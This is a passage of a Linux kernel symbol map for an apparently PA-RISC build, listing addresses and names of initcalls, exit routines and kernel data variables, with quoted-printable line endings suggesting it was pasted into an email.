103d1ce8 t __initcall_netlink_proto_init=0A=
103d1cec t __initcall_kobject_uevent_init=0A=
103d1cf0 t __initcall_pcibus_class_init=0A=
103d1cf4 t __initcall_pci_driver_init=0A=
103d1cf8 t __initcall_tty_class_init=0A=
103d1cfc t __initcall_parisc_init=0A=
103d1d00 t __initcall_topology_init=0A=
103d1d04 t __initcall_pcibios_init=0A=
103d1d08 t __initcall_init_bio=0A=
103d1d0c t __initcall_genhd_device_init=0A=
103d1d10 t __initcall_fbmem_init=0A=
103d1d14 t __initcall_misc_init=0A=
103d1d18 t __initcall_init_scsi=0A=
103d1d1c t __initcall_input_init=0A=
103d1d20 t __initcall_proto_init=0A=
103d1d24 t __initcall_net_dev_init=0A=
103d1d28 t __initcall_genl_init=0A=
103d1d2c t __initcall_init_pipe_fs=0A=
103d1d30 t __initcall_chr_dev_init=0A=
103d1d34 t __initcall_unwind_init=0A=
103d1d38 t __initcall_create_proc_profile=0A=
103d1d3c t __initcall_ioresources_init=0A=
103d1d40 t __initcall_uid_cache_init=0A=
103d1d44 t __initcall_param_sysfs_init=0A=
103d1d48 t __initcall_init_posix_timers=0A=
103d1d4c t __initcall_init_posix_cpu_timers=0A=
103d1d50 t __initcall_init=0A=
103d1d54 t __initcall_kallsyms_init=0A=
103d1d58 t __initcall_ikconfig_init=0A=
103d1d5c t __initcall_init_per_zone_pages_min=0A=
103d1d60 t __initcall_pdflush_init=0A=
103d1d64 t __initcall_cpucache_init=0A=
103d1d68 t __initcall_kswapd_init=0A=
103d1d6c t __initcall_procswaps_init=0A=
103d1d70 t __initcall_init_tmpfs=0A=
103d1d74 t __initcall_fasync_init=0A=
103d1d78 t __initcall_aio_setup=0A=
103d1d7c t __initcall_inotify_setup=0A=
103d1d80 t __initcall_eventpoll_init=0A=
103d1d84 t __initcall_dnotify_init=0A=
103d1d88 t __initcall_init_devpts_fs=0A=
103d1d8c t __initcall_init_reiserfs_fs=0A=
103d1d90 t __initcall_init_ext3_fs=0A=
103d1d94 t __initcall_journal_init=0A=
103d1d98 t __initcall_init_ramfs_fs=0A=
103d1d9c t __initcall_init_iso9660_fs=0A=
103d1da0 t __initcall_ipc_init=0A=
103d1da4 t __initcall_init_mqueue_fs=0A=
103d1da8 t __initcall_init_crypto=0A=
103d1dac t __initcall_init=0A=
103d1db0 t __initcall_init=0A=
103d1db4 t __initcall_init=0A=
103d1db8 t __initcall_noop_init=0A=
103d1dbc t __initcall_as_init=0A=
103d1dc0 t __initcall_deadline_init=0A=
103d1dc4 t __initcall_cfq_init=0A=
103d1dc8 t __initcall_pci_init=0A=
103d1dcc t __initcall_pci_sysfs_init=0A=
103d1dd0 t __initcall_pci_proc_init=0A=
103d1dd4 t __initcall_led_create_procfs=0A=
103d1dd8 t __initcall_start_task=0A=
103d1ddc t __initcall_pdc_stable_init=0A=
103d1de0 t __initcall_power_init=0A=
103d1de4 t __initcall_sticonsole_init=0A=
103d1de8 t __initcall_fb_console_init=0A=
103d1dec t __initcall_stifb_init=0A=
103d1df0 t __initcall_rand_initialize=0A=
103d1df4 t __initcall_tty_init=0A=
103d1df8 t __initcall_pty_init=0A=
103d1dfc t __initcall_rtc_generic_init=0A=
103d1e00 t __initcall_serio_init=0A=
103d1e04 t __initcall_gscps2_init=0A=
103d1e08 t __initcall_firmware_class_init=0A=
103d1e0c t __initcall_net_olddevs_init=0A=
103d1e10 t __initcall_spi_transport_init=0A=
103d1e14 t __initcall_sym2_init=0A=
103d1e18 t __initcall_zalon7xx_init=0A=
103d1e1c t __initcall_NCR_700_init=0A=
103d1e20 t __initcall_lasi700_init=0A=
103d1e24 t __initcall_init_st=0A=
103d1e28 t __initcall_init_sd=0A=
103d1e2c t __initcall_init_sr=0A=
103d1e30 t __initcall_init_sg=0A=
103d1e34 t __initcall_cdrom_init=0A=
103d1e38 t __initcall_mousedev_init=0A=
103d1e3c t __initcall_evdev_init=0A=
103d1e40 t __initcall_atkbd_init=0A=
103d1e44 t __initcall_hwmon_init=0A=
103d1e48 t __initcall_inet_init=0A=
103d1e4c t __initcall_bictcp_register=0A=
103d1e50 t __initcall_af_unix_init=0A=
103d1e54 t __initcall_packet_init=0A=
103d1e58 t __initcall_seqgen_init=0A=
103d1e5c t __initcall_net_random_reseed=0A=
103d1e60 A __con_initcall_start=0A=
103d1e60 d __initcall_con_init=0A=
103d1e60 A __initcall_end=0A=
103d1e64 A __alt_instructions=0A=
103d1e64 A __alt_instructions_end=0A=
103d1e64 A __con_initcall_end=0A=
103d1e64 ? __security_initcall_end=0A=
103d1e64 ? __security_initcall_start=0A=
103d1f54 t ikconfig_cleanup=0A=
103d1f7c t exit_pipe_fs=0A=
103d1fbc t eventpoll_exit=0A=
103d2010 t exit_script_binfmt=0A=
103d2030 t exit_elf_binfmt=0A=
103d2050 t exit_devpts_fs=0A=
103d2090 t exit_reiserfs_fs=0A=
103d20cc t exit_ext3_fs=0A=
103d20f0 t journal_exit=0A=
103d2108 t exit_ramfs_fs=0A=
103d2128 t exit_iso9660_fs=0A=
103d214c t fini=0A=
103d216c t fini=0A=
103d218c t fini=0A=
103d21ac t noop_exit=0A=
103d21cc t as_exit=0A=
103d21f8 t deadline_exit=0A=
103d2224 t cfq_exit=0A=
103d2248 t pdc_stable_exit=0A=
103d22c0 t power_exit=0A=
103d2328 t stifb_cleanup=0A=
103d23bc t rtc_generic_exit=0A=
103d23ec t serio_exit=0A=
103d2418 t gscps2_exit=0A=
103d2438 t firmware_class_exit=0A=
103d2458 t exit_scsi=0A=
103d2494 t spi_transport_exit=0A=
103d24d0 t sym2_exit=0A=
103d24fc t zalon_remove=0A=
103d2540 t zalon7xx_exit=0A=
103d2564 t NCR_700_exit=0A=
103d2584 t lasi700_driver_remove=0A=
103d25d8 t lasi700_exit=0A=
103d25f8 t exit_st=0A=
103d2694 t exit_sd=0A=
103d26dc t exit_sr=0A=
103d270c t exit_sg=0A=
103d27c0 t cdrom_exit=0A=
103d27fc t input_exit=0A=
103d2830 t mousedev_exit=0A=
103d2880 t evdev_exit=0A=
103d28a0 t atkbd_exit=0A=
103d28c0 t hwmon_exit=0A=
103d28e0 t bictcp_unregister=0A=
103d2900 t af_unix_exit=0A=
103d2944 t packet_exit=0A=
103d3000 A __initramfs_start=0A=
103d3085 A __initramfs_end=0A=
103d30a0 A __per_cpu_end=0A=
103d30a0 A __per_cpu_start=0A=
103d4000 A __bss_start=0A=
103d4000 A __init_end=0A=
103d4000 B system_state=0A=
103d4004 B saved_command_line=0A=
103d4404 B late_time_init=0A=
103d4408 b execute_command=0A=
103d440c b ramdisk_execute_command=0A=
103d4410 b panic_later=0A=
103d4414 b panic_param=0A=
103d4418 B Version_132623=0A=
103d441c B ROOT_DEV=0A=
103d4420 b inbuf=0A=
103d4424 b window=0A=
103d4428 b insize=0A=
103d442c b inptr=0A=
103d4430 b outcnt=0A=
103d4434 b bytes_out=0A=
103d4438 b bb=0A=
103d443c b bk=0A=
103d4440 b hufts=0A=
103d4444 b crc_32_tab=0A=
103d4844 b crc=0A=
103d4848 b preset_lpj=0A=
103d484c B per_cpu__mmu_gathers=0A=
103d4860 b dirty_space_ids=0A=
103d4860 b sid_lock=0A=
103d4864 b dirty_space_id=0A=
103dc864 b space_id_index=0A=
103dc868 B per_cpu__exception_data=0A=
103dc880 b terminate_lock___0=0A=
103dc880 b tod_data___0=0A=
103dc888 b cpu_eiem=0A=
103dc8c0 b iodc_retbuf___0=0A=
103dc8c0 b pdc_lock=0A=
103dc940 b iodc_dbuf___1=0A=
103dd940 b iodc_retbuf___2=0A=
103dd9c0 b iodc_dbuf___3=0A=
103de9c0 b posx___4=0A=
103de9c8 b iodc_retbuf___5=0A=
103dea80 b iodc_dbuf___6=0A=
103dfa80 b pdc_result=0A=
103dfb00 b pdc_result2=0A=
103dfb80 b count___0=0A=
103dfbc0 B real32_stack=0A=
103dfbc0 B real64_stack=0A=
103dfbc0 B real_stack=0A=
103e1bc0 b save_cr_space=0A=
103e1be4 b save_cr_end=0A=
103e1c00 b unaligned_count___0=0A=
103e1c04 b last_time___1=0A=
103e1c08 B pm_power_off=0A=
103e1c0c b pdc_console_initialized=0A=
103e1c10 B pci_port=0A=
103e1c10 b unwind_lock=0A=
103e1c14 B pci_bios=0A=
103e1c18 B parisc_pci_hba=0A=
103e1cc0 B cpu_present_map=0A=
103e1cc8 B per_cpu__kstat=0A=
103e1e88 b per_cpu__runqueues=0A=
103e27b8 B vm_area_cachep=0A=
103e27bc B files_cachep=0A=
103e27c0 B fs_cachep=0A=
103e27c4 B signal_cachep=0A=
103e27c8 B sighand_cachep=0A=
103e27cc B total_forks=0A=
103e27d0 B nr_threads=0A=
103e27d4 B max_threads=0A=
103e27d8 b task_struct_cachep=0A=
103e27dc b mm_cachep=0A=
103e27e0 b exec_domains_lock=0A=
103e27e0 B panic_notifier_list=0A=
103e27e4 B panic_blink=0A=
103e27e8 B panic_timeout=0A=
103e27ec B panic_on_oops=0A=
103e27f0 B tainted=0A=
103e27f4 b buf___1=0A=
103e2bf4 b buf___0=0A=
103e2c08 B oops_in_progress=0A=
103e2c0c B console_drivers=0A=
103e2c10 b logbuf_lock=0A=
103e2c10 b printk_time=0A=
103e2c14 b printk_buf___5=0A=
103e3014 b oops_timestamp___7=0A=
103e3018 b last_msg___2=0A=
103e3018 b ratelimit_lock___0=0A=
103e301c b missed___3=0A=
103e3020 b console_locked=0A=
103e3024 b log_start=0A=
103e3028 b con_start=0A=
103e302c b log_end=0A=
103e3030 b console_cmdline=0A=
103e30b0 b console_may_schedule=0A=
103e30b4 b __log_buf=0A=
103e70b4 b logged_chars=0A=
103e70b8 b prof_buffer=0A=
103e70bc b prof_len=0A=
103e70c0 b prof_shift=0A=
103e70c4 B pps_offset=0A=
103e70c8 B pps_freq=0A=
103e70cc B pps_jitcnt=0A=
103e70d0 B pps_calcnt=0A=
103e70d4 B pps_errcnt=0A=
103e70d8 B pps_stbcnt=0A=
103e70dc B sys_tz=0A=
103e70e4 B hardpps_ptr=0A=
103e7100 B irq_stat=0A=
103e7140 b per_cpu__tasklet_hi_vec=0A=
103e7144 b per_cpu__tasklet_vec=0A=
103e7148 b softirq_vec=0A=
103e7248 b per_cpu__ksoftirqd=0A=
103e7280 b reserved___0=0A=
103e7280 b resource_lock=0A=
103e7284 b reserve___1=0A=
103e72f4 b dev_table=0A=
103e72f4 b sysctl_lock=0A=
103e7320 b debug_table=0A=
103e734c b proc_table=0A=
103e7378 b minolduid=0A=
103e737c b zero=0A=
103e7380 b task_capability_lock=0A=
103e7380 B xtime=0A=
103e7390 B wall_to_monotonic=0A=
103e7398 B time_offset=0A=
103e739c B time_reftime=0A=
103e73a0 B time_adjust=0A=
103e73a4 B time_next_adjust=0A=
103e73a8 B avenrun=0A=
103e73b4 b per_cpu__tvec_bases=0A=
103e83bc b time_phase=0A=
103e83c0 b time_adj=0A=
103e83d0 b uid_cachep=0A=
103e83d0 b uidhash_lock=0A=
103e83d4 b uidhash_table=0A=
103e8bd4 b sigqueue_cachep=0A=
103e8bd8 b notifier_lock=0A=
103e8bd8 b reboot_notifier_list=0A=
103e8bdc b kmod_concurrent___1=0A=
103e8be0 b kmod_loop_msg___2=0A=
103e8be4 b khelper_wq=0A=
103e8be8 b singlethread_cpu=0A=
103e8be8 b workqueue_lock=0A=
103e8bec b keventd_wq=0A=
103e8bf0 B last_pid=0A=
103e8bf4 b pid_hash=0A=
103e8bf4 b pidmap_lock=0A=
103e8c04 b pidhash_shift=0A=
103e8c08 b per_cpu__rcu_tasklet=0A=
103e8c1c b rcu_bh_state=0A=
103e8c20 b rcu_state=0A=
103e8c24 b rcu_barrier_cpu_count=0A=
103e8c28 b rcu_barrier_sema=0A=
103e8c34 b rcu_barrier_completion=0A=
103e8c40 b ime_lock=0A=
103e8c40 b kmalloc_failed=0A=
103e8c44 b idr_lock=0A=
103e8c44 b posix_timers_cache=0A=
103e8c48 b posix_timers_id=0A=
103e8c58 b posix_clocks=0A=
103e8ed8 b helper_wq=0A=
103e8edc b kthread_stop_info=0A=
103e8ef0 b zero_it___0=0A=
103e8f00 b futex_queues=0A=
103e9700 b futex_mnt=0A=
103e9704 b modlist_lock=0A=
103e9704 b module_notify_list=0A=
103e9708 B noirqdebug=0A=
103e970c b irqfixup=0A=
103e9710 b root_irq_dir=0A=
103e9714 b irq_dir=0A=
103e9894 B max_low_pfn=0A=
103e9898 B min_low_pfn=0A=
103e989c B max_pfn=0A=
103e98a0 B nr_swap_pages=0A=
103e98a4 b per_cpu__page_states=0A=
103e993c b contig_bootmem_data=0A=
103e9954 B block_dump=0A=
103e9958 B laptop_mode=0A=
103e995c b per_cpu__ratelimits___0=0A=
103e9960 b total_pages=0A=
103e9964 b dirty_exceeded=0A=
103e9968 b last_empty_jifs=0A=
103e9968 b pdflush_lock=0A=
103e996c B slab_reclaim_pages=0A=
103e9970 b slab_break_gfp_order=0A=
103e9974 b offslab_limit=0A=
103e9978 b cache_chain_sem=0A=
103e9984 b cache_chain=0A=
103e998c b g_cpucache_up=0A=
103e9990 b per_cpu__reap_work=0A=
103e99c0 B page_cluster=0A=
103e99c4 b per_cpu__lru_add_active_pvecs=0A=
103e9a04 b per_cpu__lru_add_pvecs=0A=
103e9a44 b total_memory=0A=
103e9a48 b page_pool=0A=
103e9a4c b isa_page_pool=0A=
103e9a50 B max_mapnr=0A=
103e9a54 B num_physpages=0A=
103e9a58 B high_memory=0A=
103e9a5c B vmalloc_earlyreserve=0A=
103e9a60 B mem_map=0A=
103e9a64 B anon_vma_cachep=0A=
103e9a64 b shmlock_user_lock=0A=
103e9a68 B vmlist=0A=
103e9a6c b swap_cache_info=0A=
103e9a84 B total_swap_pages=0A=
103e9a88 B nr_swapfiles=0A=
103e9a8c B swap_info=0A=
103ea30c b least_priority___0=0A=
103ea310 b swap_overflow=0A=
103ea314 b swap_token_lock=0A=
103ea314 b swap_token_timeout=0A=
103ea318 b swap_token_check=0A=
103ea31c b shmem_inode_cachep=0A=
103ea31c b shmem_swaplist_lock=0A=
103ea320 b shm_mnt=0A=
103ea324 b filp_count_lock=0A=
103ea324 b old_max___0=0A=
103ea328 B buffer_heads_over_limit=0A=
103ea32c b per_cpu__bh_accounting=0A=
103ea334 b per_cpu__bh_lrus=0A=
103ea354 b msg_count___0=0A=
103ea358 b bh_cachep=0A=
103ea35c b max_buffer_heads=0A=
103ea360 B bio_split_pool=0A=
103ea364 b bio_dirty_lock=0A=
103ea364 b bio_slab=0A=
103ea368 b fs_bio_set=0A=
103ea36c b bio_dirty_list=0A=
103ea370 b default_op___1=0A=
103ea370 b unnamed_dev_lock=0A=
103ea3c0 b unnamed_dev_idr=0A=
103ea3d0 B blockdev_superblock=0A=
103ea3d4 b bdev_cachep=0A=
103ea3d4 b bdev_lock=0A=
103ea3d8 b bd_mnt=0A=
103ea3dc b cdev_lock=0A=
103ea3dc b cdev_map=0A=
103ea3e0 b chrdevs=0A=
103ea7dc B core_uses_pid=0A=
103ea7e0 b binfmt_lock=0A=
103ea7e0 b formats=0A=
103ea7e4 b pipe_mnt=0A=
103ea7e8 b fasync_cache=0A=
103ea7e8 b fasync_lock=0A=
103ea7ec b filelock_cache=0A=
103ea7f0 B names_cachep=0A=
103ea7f4 B filp_cachep=0A=
103ea7f8 b rename_lock=0A=
103ea7fc b dentry_cache=0A=
103ea800 b d_hash_mask=0A=
103ea804 b d_hash_shift=0A=
103ea808 b dentry_hashtable=0A=
103ea80c B inodes_stat=0A=
103ea828 b empty_aops___0=0A=
103ea85c b empty_iops___1=0A=
103ea8ac b empty_fops___2=0A=
103ea918 b last_ino___4=0A=
103ea91c b counter___3=0A=
103ea920 b i_hash_mask=0A=
103ea924 b i_hash_shift=0A=
103ea928 b inode_hashtable=0A=
103ea92c b inode_cachep=0A=
103ea930 b per_cpu__fdtable_defer_list=0A=
103ea97c b file_systems=0A=
103ea97c b file_systems_lock=0A=
103ea980 b event=0A=
103ea984 b mount_hashtable=0A=
103ea988 b mnt_cache=0A=
103ea98c b namespace_sem=0A=
103ea998 B aio_nr=0A=
103ea99c b aio_nr_lock=0A=
103ea99c b fput_lock=0A=
103ea99c b kiocb_cachep=0A=
103ea9a0 b kioctx_cachep=0A=
103ea9a4 b aio_wq=0A=
103ea9a8 B inotify_max_user_instances=0A=
103ea9a8 b pin_fs_lock=0A=
103ea9a8 b simple_transaction_lock___0=0A=
103ea9ac B inotify_max_user_watches=0A=
103ea9b0 B inotify_max_queued_events=0A=
103ea9b4 b inotify_cookie=0A=
103ea9b8 b inotify_watches=0A=
103ea9bc b watch_cachep=0A=
103ea9c0 b event_cachep=0A=
103ea9c4 b inotify_mnt=0A=
103ea9c8 b zero=0A=
103ea9cc b epsem=0A=
103ea9d8 b psw=0A=
103ea9e0 b epi_cache=0A=
103ea9e4 b pwq_cache=0A=
103ea9e8 b eventpoll_mnt=0A=
103ea9ec b dn_cache=0A=
103ea9f0 B proc_mnt=0A=
103ea9f4 b proc_inode_cachep=0A=
103ea9f8 B proc_root_fs=0A=
103ea9fc B proc_net=0A=
103eaa00 B proc_net_stat=0A=
103eaa04 B proc_bus=0A=
103eaa08 B proc_root_driver=0A=
103eaa0c B proc_sys_root=0A=
103eaa10 b proc_inum_idr=0A=
103eaa20 b proc_inum_lock=0A=
103eaa20 b proc_tty_ldisc=0A=
103eaa24 b proc_tty_driver=0A=
103eaa28 B proc_root_kcore=0A=
103eaa2c b p___0=0A=
103eaa30 b kclist=0A=
103eaa30 b kclist_lock=0A=
103eaa34 B sysfs_mount=0A=
103eaa38 B sysfs_dir_cachep=0A=
103eaa3c b devpts_mnt=0A=
103eaa40 b devpts_root=0A=
103eaa44 b reiserfs_inode_cachep=0A=
103eaa48 b error_buf=0A=
103eae48 b fmt_buf=0A=
103eb248 b off_buf=0A=
103eb298 b print_tb_buf=0A=
103eba98 b nr_reiserfs_jh=0A=
103eba9c b id___1=0A=
103ebaa0 b reiserfs_mounted_fs_count=0A=
103ebaa4 b commit_wq=0A=
103ebaa8 b timebuf___0=0A=
103ebba8 b namebuf___1=0A=
103ebbf8 b ext3_inode_cachep=0A=
103ebbfc b revoke_record_cache=0A=
103ebc00 b revoke_table_cache=0A=
103ebc04 B jbd_handle_cache=0A=
103ebc08 b last_warning___6=0A=
103ebc0c b journal_head_cache=0A=
103ebc10 b isofs_inode_cachep=0A=
103ebc14 b msg_hdrs=0A=
103ebc14 b nls_lock=0A=
103ebc18 b msg_bytes=0A=
103ebc1c b msg_ids=0A=
103ebc3c b sem_ids=0A=
103ebc5c b used_sems=0A=
103ebc60 b shm_ids=0A=
103ebc80 b shm_tot=0A=
103ebc84 b mq_lock=0A=
103ebc84 b mqueue_inode_cachep=0A=
103ebc88 b mqueue_mnt=0A=
103ebc8c b queues_count=0A=
103ebc90 b mq_sysctl_table=0A=
103ebc94 b elv_list_lock=0A=
103ebc94 b printed___0=0A=
103ebc98 b chosen_elevator=0A=
103ebca8 B blk_max_low_pfn=0A=
103ebcac B blk_max_pfn=0A=
103ebcb0 b request_cachep=0A=
103ebcb4 b requestq_cachep=0A=
103ebcb8 b iocontext_cachep=0A=
103ebcbc b kblockd_workqueue=0A=
103ebcc0 b major_names=0A=
103ec0bc b bdev_map=0A=
103ec0c0 b arq_pool=0A=
103ec0c4 b drq_pool=0A=
103ec0c8 b crq_pool=0A=
103ec0cc b cfq_pool=0A=
103ec0d0 b cfq_ioc_pool=0A=
103ec0d4 b idr_layer_cache=0A=
103ec0d8 B hotplug_seqnum=0A=
103ec0e0 b null_hotplug_ops___0=0A=
103ec0e0 b sequence_lock=0A=
103ec0ec b uevent_sock=0A=
103ec0f0 b index_bits_to_maxindex=0A=
103ec170 b radix_tree_node_cachep=0A=
103ec180 b pci_lock=0A=
103ec180 B platform_pci_choose_state=0A=
103ec184 B platform_pci_set_power_state=0A=
103ec188 B pci_pci_problems=0A=
103ec18c B pcie_mch_quirk=0A=
103ec190 B isa_dma_bridge_buggy=0A=
103ec194 b sis_96x_compatible=0A=
103ec198 b sysfs_initialized=0A=
103ec19c b proc_initialized=0A=
103ec1a0 b proc_bus_pci_dir=0A=
103ec1a4 b iosapic_lock=0A=
103ec1a4 b irt_cell=0A=
103ec1a8 b irt_num_entry=0A=
103ec1ac b global_ioc_cnt=0A=
103ec1b0 b ioc_needs_fdc=0A=
103ec1b4 b piranha_bad_128k=0A=
103ec1b8 b sba_list=0A=
103ec1bc b lba_t32=0A=
103ec1c0 b ioc_list=0A=
103ec1c4 b ioc_count=0A=
103ec1c8 b dino_current_bus=0A=
103ec1cc b asp=0A=
103ec264 b i___8=0A=
103ec268 b last_jiffies___0=0A=
103ec26c b count_HZ___1=0A=
103ec270 b rx_total_last___2=0A=
103ec274 b tx_total_last___3=0A=
103ec278 b last_pgpgin___4=0A=
103ec27c b last_pgpgout___5=0A=
103ec280 b initialized___7=0A=
103ec284 b lastleds=0A=
103ec288 b led_wq=0A=
103ec28c b vga_is_gfx=0A=
103ec290 b sticon_sti=0A=
103ec294 b softback_buf=0A=
103ec298 b softback_curr=0A=
103ec29c b softback_in=0A=
103ec2a0 b softback_end=0A=
103ec2a4 b softback_lines=0A=
103ec2a8 b cursor_drawn=0A=
103ec2ac b vbl_cursor_cnt=0A=
103ec2b0 B default_sti=0A=
103ec2b4 b num_sti_roms=0A=
103ec2b8 b sti_roms=0A=
103ec2c8 b default_sti_path=0A=
103ec2e0 b sticore_initialized=0A=
103ec2e4 b scrollback_max=0A=
103ec2e8 b scrollback_current=0A=
103ec2ec b scrollback_phys_max=0A=
103ec2f0 b fb_display=0A=
103edf7c b con2fb_map=0A=
103edfbc b con2fb_map_boot=0A=
103edffc b logo_height=0A=
103ee000 b logo_lines=0A=
103ee004 b softback_buf=0A=
103ee008 b softback_curr=0A=
103ee00c b softback_in=0A=
103ee010 b softback_top=0A=
103ee014 b softback_end=0A=
103ee018 b softback_lines=0A=
103ee01c b first_fb_vc=0A=
103ee020 b fontname=0A=
103ee048 b rotate=0A=
103ee04c b vbl_cursor_cnt=0A=
103ee050 b palette_red=0A=
103ee070 b palette_green=0A=
103ee090 b palette_blue=0A=
103ee0b0 B registered_fb=0A=
103ee130 B num_registered_fb=0A=
103ee134 b fb_notifier_list=0A=
103ee138 b fb_class=0A=
103ee13c b video_options=0A=
103ee1bc b ofonly=0A=
103ee1c0 B global_mode_option=0A=
103ee200 b mem_class=0A=
103ee240 b per_cpu__trickle_count=0A=
103ee244 b last_value___1=0A=
103ee248 b input_pool_data=0A=
103ee448 b blocking_pool_data=0A=
103ee4c8 b nonblocking_pool_data=0A=
103ee548 b input_timer_state=0A=
103ee558 b irq_timer_state=0A=
103ee6d8 b min_write_thresh=0A=
103ee6dc b sysctl_bootid=0A=
103ee700 b ip_keydata=0A=
103ee780 b ip_cnt=0A=
103ee7c0 b allocated_ptys=0A=
103ee7c0 b redirect_lock=0A=
103ee7d0 b tty_ldisc_lock=0A=
103ee7d0 b tty_ldiscs=0A=
103eec90 b redirect=0A=
103eec94 b tty_class=0A=
103eec98 b tty_cdev=0A=
103eece4 b console_cdev=0A=
103eed30 b ptmx_cdev=0A=
103eed7c b vc0_cdev=0A=
103eedc8 B ptm_driver=0A=
103eedcc b pty_limit_min=0A=
103eedd0 b pts_driver=0A=
103eedd4 b pty_driver=0A=
103eedd8 b pty_slave_driver=0A=
103eeddc b misc_minors=0A=
103eede4 b misc_class=0A=
103eede8 b vt_dont_switch=0A=
103eedec b vc_class=0A=
103eedf0 b inv_translate=0A=
103eeeec b dflt=0A=
103eeef0 B sel_cons=0A=
103eeef4 b sel_end=0A=
103eeef8 b sel_buffer_lth=0A=
103eeefc b sel_buffer=0A=
103eef00 B kbd_table=0A=
103ef03c B spawnpid=0A=
103ef040 B spawnsig=0A=
103ef044 b kbd0=0A=
103ef04c b key_down=0A=
103ef08c b shift_down=0A=
103ef098 b dead_key_next=0A=
103ef09c b diacr=0A=
103ef09d b rep=0A=
103ef09e b ledioctl=0A=
103ef0a0 b ledptrs=0A=
103ef0c4 b sysrq_alt=0A=
103ef0c8 B fg_console=0A=
103ef0cc B last_console=0A=
103ef0d0 B kmsg_redirect=0A=
103ef0d4 B conswitchp=0A=
103ef0d8 B vc_cons=0A=
103ef1d4 B con_buf=0A=
103f01d4 B console_blanked=0A=
103f01d8 B do_poke_blanked_console=0A=
103f01dc B console_blank_hook=0A=
103f01e0 B console_driver=0A=
103f01e4 b old___15=0A=
103f01e6 b oldx___16=0A=
103f01e8 b oldy___17=0A=
103f01ec b printing___0=0A=
103f01f0 b error___8=0A=
103f01f4 b con_driver_map=0A=
103f02f0 b printable=0A=
103f02f4 b ignore_poke=0A=
103f02f8 b vesa_blank_mode=0A=
103f02fc b vesa_off_interval=0A=
103f0300 b master_display_fg=0A=
103f0304 b scrollback_delta=0A=
103f0308 b console_timer=0A=
103f0320 b blank_state=0A=
103f0324 b blank_timer_expired=0A=
103f0328 b softcursor_original=0A=
103f032c b gen_rtc_lock=0A=
103f032c b gen_rtc_status=0A=
103f0330 b gen_rtc_irq_data=0A=
103f0334 b irq_active=0A=
103f0338 b genrtc_task=0A=
103f0368 b timer_task=0A=
103f0380 b oldsecs=0A=
103f0384 b lostint=0A=
103f0388 b tt_exp=0A=
103f038c b stask_active=0A=
103f0390 b ttask_active=0A=
103f0394 b stop_rtc_timers=0A=
103f0398 b serio_event_lock=0A=
103f0398 b serio_no___0=0A=
103f039c b serio_task=0A=
103f03a0 b cpu_sys_devices=0A=
103f03a4 b attribute_container_list=0A=
103f03ac b per_cpu__loopback_stats=0A=
103f0408 B scsi_logging_level=0A=
103f040c b per_cpu__scsi_done_q=0A=
103f0414 b scsi_host_next_hn=0A=
103f0418 b tur_command___2=0A=
103f0420 b scsi_default_dev_flags=0A=
103f0424 b scsi_dev_flags=0A=
103f0524 b scsi_table_header=0A=
103f0528 b proc_scsi=0A=
103f052c b sym2_transport_template=0A=
103f0530 b excl_string=0A=
103f0534 b safe_string=0A=
103f0538 b attach_count=0A=
103f053c b sym53c8xx_lock=0A=
103f053c b unit___1=0A=
103f0540 b ncr53c8xx_transport_template=0A=
103f0544 b ncr53c8xx_lock=0A=
103f0544 b ncr_debug=0A=
103f0548 b NCR_700_transport_template=0A=
103f054c b A_Device_ID_used=0A=
103f0550 b banner___1=0A=
103f0554 b ret___0=0A=
103f0654 b scsi_tapes=0A=
103f0658 b debugging=0A=
103f0658 b st_dev_arr_lock=0A=
103f065c b buffer_kbs=0A=
103f0660 b max_sg_segs=0A=
103f0664 b st_dev_max=0A=
103f0668 b st_nr_dev=0A=
103f066c b st_sysfs_class=0A=
103f0670 b write_threshold_kbs=0A=
103f0674 b modes_defined=0A=
103f0678 b sd_index_idr=0A=
103f0688 b sd_index_lock=0A=
103f0688 b sr_index_bits=0A=
103f0688 b sr_index_lock=0A=
103f06a8 b xa_test=0A=
103f06ac b sg_allow_dio=0A=
103f06b0 b sg_sysfs_valid=0A=
103f06b4 b sg_dev_arr=0A=
103f06b4 b sg_dev_arr_lock=0A=
103f06b8 b sg_proc_sgp=0A=
103f06bc b dummy_cmdp=0A=
103f06c0 b sg_dev_max=0A=
103f06c4 b sg_nr_dev=0A=
103f06c8 b sg_sysfs_class=0A=
103f06cc b cdrom_lock=0A=
103f06cc b initialized___0=0A=
103f06d0 b banner_printed___1=0A=
103f06d4 b debug=0A=
103f06d8 b keeplocked=0A=
103f06dc b autoeject=0A=
103f06e0 b check_media_type=0A=
103f06e4 b topCdromPtr=0A=
103f06e8 b cdrom_sysctl_settings=0A=
103f0ae4 b cdrom_sysctl_header=0A=
103f0ae8 b input_no___0=0A=
103f0aec b input_table=0A=
103f0b0c b proc_bus_input_dir=0A=
103f0b10 b input_devices_state=0A=
103f0b14 b input_fileops=0A=
103f0b80 b mousedev_table=0A=
103f0c00 b mousedev_mix=0A=
103f0c9c b psaux_registered=0A=
103f0ca0 b evdev_table=0A=
103f0d20 b atkbd_scroll=0A=
103f0d24 b atkbd_reset=0A=
103f0d28 b atkbd_softrepeat=0A=
103f0d2c b atkbd_extra=0A=
103f0d30 b hwmon_idr=0A=
103f0d40 b hwmon_class=0A=
103f0d44 b per_cpu__sockets_in_use=0A=
103f0d48 b br_ioctl_hook=0A=
103f0d4c b warned___0=0A=
103f0d50 b net_families=0A=
103f0dd0 b vlan_ioctl_hook=0A=
103f0dd4 b dlci_ioctl_hook=0A=
103f0dd8 b proto_list_lock=0A=
103f0dd8 b warned___3=0A=
103f0ddc b warncomm___4=0A=
103f0dec b elist=0A=
103f0dec b est_lock=0A=
103f0e94 B dev_base=0A=
103f0e98 B netdev_nit=0A=
103f0e9c b net_todo_list_lock=0A=
103f0e9c b netstamp_needed=0A=
103f0ea0 b ifindex___0=0A=
103f0ea0 b ptype_lock=0A=
103f0ea4 b ptype_base=0A=
103f0f24 b ptype_all=0A=
103f0f2c b dev_name_head=0A=
103f132c b dev_index_head=0A=
103f172c b netdev_chain=0A=
103f1730 b dev_boot_setup=0A=
103f1830 b gifconf_list=0A=
103f18b0 b dst_garbage_list=0A=
103f18b0 b dst_lock=0A=
103f18b4 b dst_gc_timer_expires=0A=
103f18b8 b neigh_tables=0A=
103f18b8 b neigh_tbl_lock=0A=
103f18bc B rtnl=0A=
103f18c0 B rtnetlink_links=0A=
103f1940 b rta_buf=0A=
103f1944 b rtattr_max=0A=
103f1948 b per_cpu__net_rand_state=0A=
103f1954 b linkwatch_flags=0A=
103f1954 b lweventlist_lock=0A=
103f1958 b linkwatch_nextevent=0A=
103f195c b singleevent=0A=
103f1968 b nl_table_users=0A=
103f196c b nl_table=0A=
103f196c b nl_table_lock=0A=
103f1970 b netlink_chain=0A=
103f1974 b id_gen_idx___0=0A=
103f1978 b family_ht=0A=
